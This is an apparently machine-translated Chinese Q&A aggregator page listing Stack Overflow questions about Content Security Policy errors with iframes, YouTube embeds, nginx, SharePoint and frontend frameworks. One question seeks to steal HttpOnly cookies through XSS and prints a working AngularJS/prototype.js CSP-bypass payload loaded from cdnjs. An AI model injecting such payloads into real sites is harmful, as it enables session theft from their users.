content-security-policy 相关问题

内容安全策略(CSP)旨在通过为开发人员提供对允许加载页面的资源以及允许执行的脚本的细粒度控制来降低跨站点脚本攻击的风险。

尝试构建 Authorize.net 托管支付页面时出现内容安全策略错误

我在一个与 Authorize.net 托管支付/托管客户资料页面集成的电子商务平台上工作。在过去的六个月里,集成在夜间 UI 测试中运行良好。 L...

回答 1 投票 0

带有 ch-ua-form-factor Cookie 权限的 iframe 错误

我目前在我的网页中使用一个简单的 iframe,使用 bootstrap 来适应小屏幕(=youtube Short)和大屏幕(=普通横向视频): 我目前在我的网页中使用一个简单的 iframe,使用 bootstrap 来适应小屏幕(=youtube Short)和大屏幕(=普通横向视频): <div class="container d-none d-md-block" style="max-width:1000px;height:30%;"> <iframe width="1000" height="550" src="https://www.youtube-nocookie.com/embed/0...?&mute=1&autoplay=1&encrypted-media=1" allow="autoplay; fullscreen;"> </iframe> </div> <div class="container .d-block d-md-none" style="width:95%;"> <iframe width="400" height="500" src="https://www.youtube-nocookie.com/embed/G...?&mute=1&autoplay=1&encrypted-media=1" allow="autoplay; fullscreen;"> </iframe> </div> </div> 我收到一条警告/错误消息: 权限策略标头错误:无法识别的功能: “ch-ua-形状因子”。 查了一下,好像和屏幕尺寸有关: https://wicg.github.io/ua-client-hints/ 但是,如果我删除诸如“d-none d-md-block”之类的屏幕尺寸类,仍然会出现相同的消息(可能是由于父屏幕尺寸配置所致)。 除此之外,如果我删除所有 iframe 选项并且使用 www.youtube.com 而不是 www.youtube-nocookie.com.,也会出现错误 如何解决这个问题? 我在包含嵌入式 YouTube 视频的页面上收到了同样的警告,我更深入地了解了情况,只是发现实际上来自他们这边,因为违反规则的元素位于嵌入内部。 所以我认为忽略警告的建议是最好遵循的。 此错误是指浏览器无法识别的权限策略。当浏览器更新并且现在识别新策略时,可能会发生这种情况。 要解决此问题,您可以在服务器的请求标头中添加权限策略 ch-ua-form-factor 。例如 res.setHeader('Permissions-Policy', 'ch-ua-form-factor'); 作为 YouTube 的临时用户,我也收到同样的 Unrecognized feature: 'ch-ua-form-factor' 错误。我已在 Chrome 114 中尝试使用 MacOS Ventura 13.3.1。我相信这是因为 Chrome 的 User-Agent 减少试用 已经结束,并且 Chrome 版本 113+ 不允许此 Accept-CH 请求。 我在这篇 Chrome 开发者博客文章中看到,Chrome 在 Chrome 89 中开始使用 Sec-CH-UA-Form-Factor。版本 103-112 是弃用试验的一部分,网站可以注册以继续接收完整的 UA 字符串。 YouTube 本身是否需要迁移到用户代理客户端提示 (UA-CH) 规范并发送 Accept-CH: Sec-CH-UA-Form-Factor,而不是尝试获取 CH-UA-Form-Factor?对于用户来说,这尤其令人沮丧,因为台式计算机的外形规格值是空字符串。 请参阅 RFC8942 https://datatracker.ietf.org/doc/html/rfc8942) 和 Web 平台孵化器社区小组的 报告草案。 当前选定的网络直播直播中以及录制内容发布后都会出现此错误。我无法在 Mac 上加载的最新 YouTube 视频位于 here 它会加载到我的 Android 手机上 它不会在 Firefox 113 或 Safari 16.4 中加载,因为 Content Security Policy: Couldn’t process unknown directive ‘require-trusted-types-for’ 会导致 HTTP 401 登录或退出 YouTube/Google 没有帮助 https://developers.google.com/identity/gsi/web/guides/migration [google][1] 这次迁移帮助我消除了这个警告

回答 4 投票 0

跨源iframe-showPicker用法

我通过 iframe 将可信应用程序嵌入到我自己的应用程序中。它适用于大多数部分...但自定义日期选择器不起作用 -> 因为它会按照 https://

回答 1 投票 0

Authorize.net Iframe 未在我的网站中呈现

我已经在我的网站中实现了授权.net iframe,但我遇到了这个问题 CSP错误 帮助我找到渲染 iframe 的解决方案。早些时候,它无需任何更改即可运行。我认为它来自

回答 1 投票 0

无法将 CSP 的随机数设置为 NextJS 14 项目中 MUI 使用的内联样式

我的 NextJS 应用程序被客户的渗透测试软件扫描并指出不应使用“unsafe-inline”。但是,当 MUI 组件使用时,我无法让随机数工作并出现以下错误...

回答 1 投票 0

如何将内容安全策略(CSP)添加到 nginxinc 入口控制器或入口规则

如何将内容安全策略(CSP)添加到 nginxinc 入口控制器或入口规则。 我尝试了以下两种入口规则注释,但都不起作用。 注释: nginx.ingress.kubern...

回答 3 投票 0

Android webview 拒绝执行内联脚本

我正在编写一个Android应用程序,它托管一个webview来加载网页。我在 logcat 中遇到了很多如下错误: 拒绝执行内联脚本,因为它违反了以下规定 内容

回答 2 投票 0

Primevue 工具提示指令 CSP 问题

我正在使用 Primevue v3.51.0。我需要过渡到 CSP,但 Primevue 的工具提示仍然存在问题。它报告内联样式。 我已将以下配置添加到我的 Vue 应用程序中: ... 常量

回答 1 投票 0

ckEditor 5 字体和 Ident 依赖项/模块包含内联样式并违反我的 CSP

我使用 CKEditor 5 进行自定义构建,将字体和缩进模块包含到 github 上存在的基本构建中。我的 Web 环境 CSP 不允许任何内联样式或 javascript。 ...

回答 1 投票 0

创建React App内容安全策略被忽略

我尝试将 Auth0 添加到我的应用程序中,该应用程序在本地运行,但当我部署到 S3 存储桶时,出现以下错误: “拒绝连接到‘https://dev-.us.auth0.com/oauth/token’,因为......

回答 1 投票 0

Html 错误:拒绝加载脚本,因为它违反了以下内容安全策略指令

很棒的字体未加载,请帮忙。我需要使用很棒的字体图标,但出现此错误。 拒绝加载脚本“https://use.fontawesome.com/a780df76b3.js”,因为它违反了

回答 1 投票 0

通过 JS 设置 iframe src 不适用于共享点

直接在 iframe 中设置 src 可以按预期工作 我正在尝试在此处嵌入 Sharepoint 文档。 例如 <p>直接在 iframe 中设置 src 可以正常工作</p> <p>我正在尝试在此处嵌入 Sharepoint 文档。</p> <p>例如</p> <pre><code>&lt;iframe src=&#34;https://rocketlane123-my.sharepoint.com/personal/lokeshkannan_rocketlane123_onmicrosoft_com/_layouts/15/Doc.aspx?sourcedoc={8822527b-0c56-44f9-8263-40c737db903c}&amp;amp;action=embedview&#34; width=&#34;476px&#34; height=&#34;288px&#34; /&gt; </code></pre> <p>当我在脚本中设置 src 时,它失败了</p> <pre><code>&lt;iframe id=&#34;x&#34; width=&#34;476px&#34; height=&#34;288px&#34;&gt;&lt;/iframe&gt; &lt;script&gt; document.getElementById(&#39;x&#39;).src = &#34;https://rocketlane123-my.sharepoint.com/personal/lokeshkannan_rocketlane123_onmicrosoft_com/_layouts/15/Doc.aspx?sourcedoc={8822527b-0c56-44f9-8263-40c737db903c}&amp;amp;action=embedview&#34;; &lt;/script&gt; </code></pre> <p><a href="https://i.stack.imgur.com/MheeO.png" target="_blank"><img src="https://cdn.txt58.com/i/AWkuc3RhY2suaW1ndXIuY29tL01oZWVPLnBuZw==" alt=""/></a></p> <p>SharePoint 中明显会发生这种情况。所以我想在这里了解一些事情。</p> <pre><code>1. Am I doing something wrong? 2. Is there any CSP headers which block the parent from adding via JS? 3. Is there any official way from SharePoint to allow this? 3. Is there any way to hack this? </code></pre> <p>提前致谢。</p> <p>由于这种情况发生在 chrome、safari 和 firefox 上,我认为这不是特定浏览器中的错误。</p> </question> <answer tick="false" vote="2"> <p>在 Firefox 中尝试此操作会产生以下错误消息:</p> <blockquote> <p>为了保护您的安全,login.microsoftonline.com 将不允许 如果其他站点嵌入了该页面,则 Firefox 将显示该页面。查看 此页面,您需要在新窗口中打开。</p> </blockquote> <p>打开控制台会显示以下消息:</p> <blockquote> <p>“X-Frame-Options”拒绝在框架中加载 [<em>url</em>] 指令设置为“DENY”。</p> </blockquote> <p>这是由 <pre><code>login.microsoft.com</code></pre> 设置的标头,用于禁用将链接嵌入为 iframe。</p> <p>此链接详细介绍了此设计选择:<a href="https://learn.microsoft.com/en-us/sharepoint/troubleshoot/sites/cannot-display-sharepoint-pages-in-iframe" rel="nofollow noreferrer">https://learn.microsoft.com/en-us/sharepoint/troubleshoot/sites/cannot-display-sharepoint-pages-in-iframe</a></p> <p>该链接提到您可以通过设置“AllowFraming”来覆盖该行为,但不建议这样做,因为嵌入它可能会导致网站破坏。</p> <p>可以在<a href="https://answers.microsoft.com/en-us/msoffice/forum/all/office-365-public-site-can-not-be-viewed-in-a-page/65ba2f7b-ce94-4df4-a7d1-1496f8b67dab" rel="nofollow noreferrer">此链接</a></p>找到使用此功能的指南 </answer> <answer tick="false" vote="0"> <p>问题出在 javascript 中,而不是 & 在链接中使用 & 。</p> <pre><code>&lt;body&gt; &lt;iframe id=&#34;x&#34; width=&#34;476px&#34; height=&#34;288px&#34;&gt;&lt;/iframe&gt; &lt;script&gt; document.getElementById(&#39;x&#39;).src = &#34;https://rocketlane123.sharepoint.com/sites/MyDocsforSP/_layouts/15/Doc.aspx?sourcedoc={6d327004-5d52-4e42-9707-c964631f8e65}&amp;action=embedview&#34;; &lt;/script&gt; &lt;/body&gt; </code></pre> </answer> </body></html>

回答 0 投票 0

在 wso2am-4.0.0 中添加安全标头(sts & csp & Referer 标头)

我正在尝试按照我公司安全团队的指导在所有门户中添加这两个标头。到目前为止,我已经尝试在deployment.toml 中添加一些配置。这只会将 sts 标头引入...

回答 1 投票 0

拒绝构建“https://www.youtube.com/”,因为它违反了以下内容安全策略指令:“frame-src 'X'

我正在尝试使用 iframe 在我的网站中嵌入 YouTube 视频,在我决定开始使用 SSL 证书之前它工作得很好,然后这些 CSP 错误开始出现。 我是...

回答 1 投票 0

内容安全策略阻止 Firefox 中的本地主机

操作系统等在主机 Ubuntu 18.04.6 LTS 上的 Virtualbox 5.2.42 内的 Lubuntu 20.04 上进行开发 我正在使用 php 在本地主机上提供一个网站: php -S 0.0.0.0:8080 -t /home/alan/DEV/ 索引.html 是 操作系统等 在主机 Ubuntu 18.04.6 LTS 上的 Virtualbox 5.2.42 内的 Lubuntu 20.04 上进行开发 我正在使用 php 在本地主机上提供一个网站: php -S 0.0.0.0:8080 -t /home/alan/DEV/ index.html 是 <!DOCTYPE HTML> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> </head> <body> <div id="main"></div> <script src="/main.js"></script> <script src="/script.js"></script> </body> </html> Chromium 在 localhost:8080 查看页面没有问题。直到最近,Firefox 也没有。 但是,我只是尝试在 Firefox 122.0.1 上连接。页面没有任何内容显示,并且我在浏览器控制台中收到以下错误: Content-Security-Policy: The page's settings blocked the loading of a resource at data: ("media-src"). localhost:8080 Content-Security-Policy: The page's settings blocked the loading of a resource at http://localhost:8080/main.js ("script-src-elem"). localhost:8080 Content-Security-Policy: The page's settings blocked the loading of a resource at http://localhost:8080/script.js ("script-src-elem"). localhost:8080 在 Firefox 中查看 about:config,并在 content-security 上搜索,我看到以下内容: extensions.webextensions.base-content-security-policy: script-src 'self' https://* http://localhost:* http://127.0.0.1:* moz-extension: blob: filesystem: 'unsafe-eval' 'wasm-unsafe-eval' 'unsafe-inline'; extensions.webextensions.base-content-security-policy.v3: script-src 'self' 'wasm-unsafe-eval'; extensions.webextensions.default-content-security-policy: script-src 'self' 'wasm-unsafe-eval'; extensions.webextensions.default-content-security-policy.v3: script-src 'self'; upgrade-insecure-requests; 我尝试将 <meta http-equiv="Content-Security-Policy" content="default-src 'self'"> 添加到我的 index.html 文件的头部,但这没有什么区别(除了它部分搞乱了 Chromium 上的页面布局)。 经过进一步调查,我发现主机系统上的 Firefox 113.0.2 确实 显示了我的网站。但是,在主机系统上,我必须使用 IP 地址 192.168.2.23:8080 而不是 localhost:8080。使用 IP 地址也适用于本地系统。

回答 1 投票 0

启用 HTTPOnly 和 CSP 时使用 XSS 窃取 Cookie:解决方法和策略

当 HTTPOnly 开启且定义了 CSP 规则时,如何窃取 cookie?假设攻击者获得了一个执行 HTTP 的输入字段,并且该输入字段容易受到 XSS 攻击: 当 HTTPOnly 开启且定义了 CSP 规则时,如何窃取 cookie?假设攻击者获得了一个执行 HTTP 的输入字段,并且该输入字段容易受到 XSS 攻击: <form action="/createThread?topic={{lcTopic}}" method="post" class=""> <h2 class="text-muted">New Thread</h2> <hr> <div class="form-group"> <label>Body</label> <textarea type="text" rows="10" class="form-control" name="body" placeholder="Type the body of your thread here..."></textarea> </div> <button type="submit" class="btn btn-primary">Create Thread</button> <button type="button" id="threadPreview" class="btn btn-default">Preview</button> </form>` 在我的服务器中,我将 CSP 规则定义为: .use( helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: [ "'self'", "cdnjs.cloudflare.com" ], }, }) ) 攻击者可能通过将以下代码注入文本字段来绕过 CSP: <!DOCTYPE html> <html> <head> <title>XSS Demo</title> <SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></SCRIPT> <SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js"></SCRIPT> </head> <body ng-app ng-csp> <div> <button ng-click="$on.curry.call().alert('xss')">Click Me! </button> <div style="display:none;"> {{$on.curry.call().alert('xss')}} </div> </div> </body> </html> 现在,由于启用了 HTTPOnly,攻击者无法简单地执行“alert(document.cookie)”。考虑到 CSP 规则,他们还可以采用哪些其他方法来窃取 cookie? 我尝试了一个简单的警报(document.cookie),但由于 HTTPOnly 而不起作用: HTTP/1.1 200 OK X-Powered-By: Express Content-Security-Policy: default-src 'self';script-src 'self' cdnjs.cloudflare.com;base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Content-Type: text/html; charset=utf-8 Content-Length: 5924 ETag: W/"1724-zhGBtITbjmwCa+un6GYhGKL+lwo" Set-Cookie: connect.sid=THE COOKIE; Path=/; HttpOnly Date: Sat, 27 Apr 2024 09:29:04 GMT Connection: close 我什至尝试这样做: {{$on.curry.call().eval("var url = '/'; fetch(url).then(response => console.log(response.headers.get('Set-Cookie')))")}} 但是自从 CSP 我得到: angular.js:5930 EvalError:拒绝将字符串评估为 JavaScript,因为“unsafe-eval”不是以下内容安全策略指令中允许的脚本源:“script-src 注意:攻击者显然不允许更改服务器代码!他只能访问输入字段! 在这种情况下,攻击者无法从cookie中获取价值。 因为,HttpOnly 已激活。 这个活动是对的。 如果你成功执行JavaScriptalert(),你应该降级Web浏览器并重新攻击。

回答 1 投票 0

为什么 REST API 需要 CSP?

我正在尝试更好地了解内容安全策略。我的理解是,它们是向浏览器发出的指令,指示允许从何处加载页面的某些部分 - 图像,...

回答 2 投票 0

Heroku 附加 Edge CDN 覆盖 Content-Security-Policy 标头

我目前通过 Heroku 提供我的 Shopify 应用程序。 由于 Shopify 应用程序是在商家后台的 iframe 中加载的,因此要求之一是正确设置 Content-Security-Policy 标题...

回答 1 投票 0

Stripe js 脚本违反了所有 unsafe-inline' 'unsafe-eval' 'wasm-unsafe-eval' 和 'self' 指令怎么可能?

您好,我正在尝试将条纹支付集成到我的 ASP.NET 8 页项目中,尽管我允许不安全的指令,但我还是收到了此错误,缺少这些指令可能是问题的原因,但仍然...

回答 1 投票 0

拒绝从“blob:https://x/6a...293”创建工作线程,因为它违反了以下内容安全策略指令

我有 Blazor Web 程序集应用程序(客户端 + 服务器)并保持拒绝创建工作线程,因为它违反了以下 CSP 指令。 它可以在本地运行,但是当我尝试发布我的应用程序时......

回答 1 投票 0

© www.soinside.com 2019 - 2024. All rights reserved.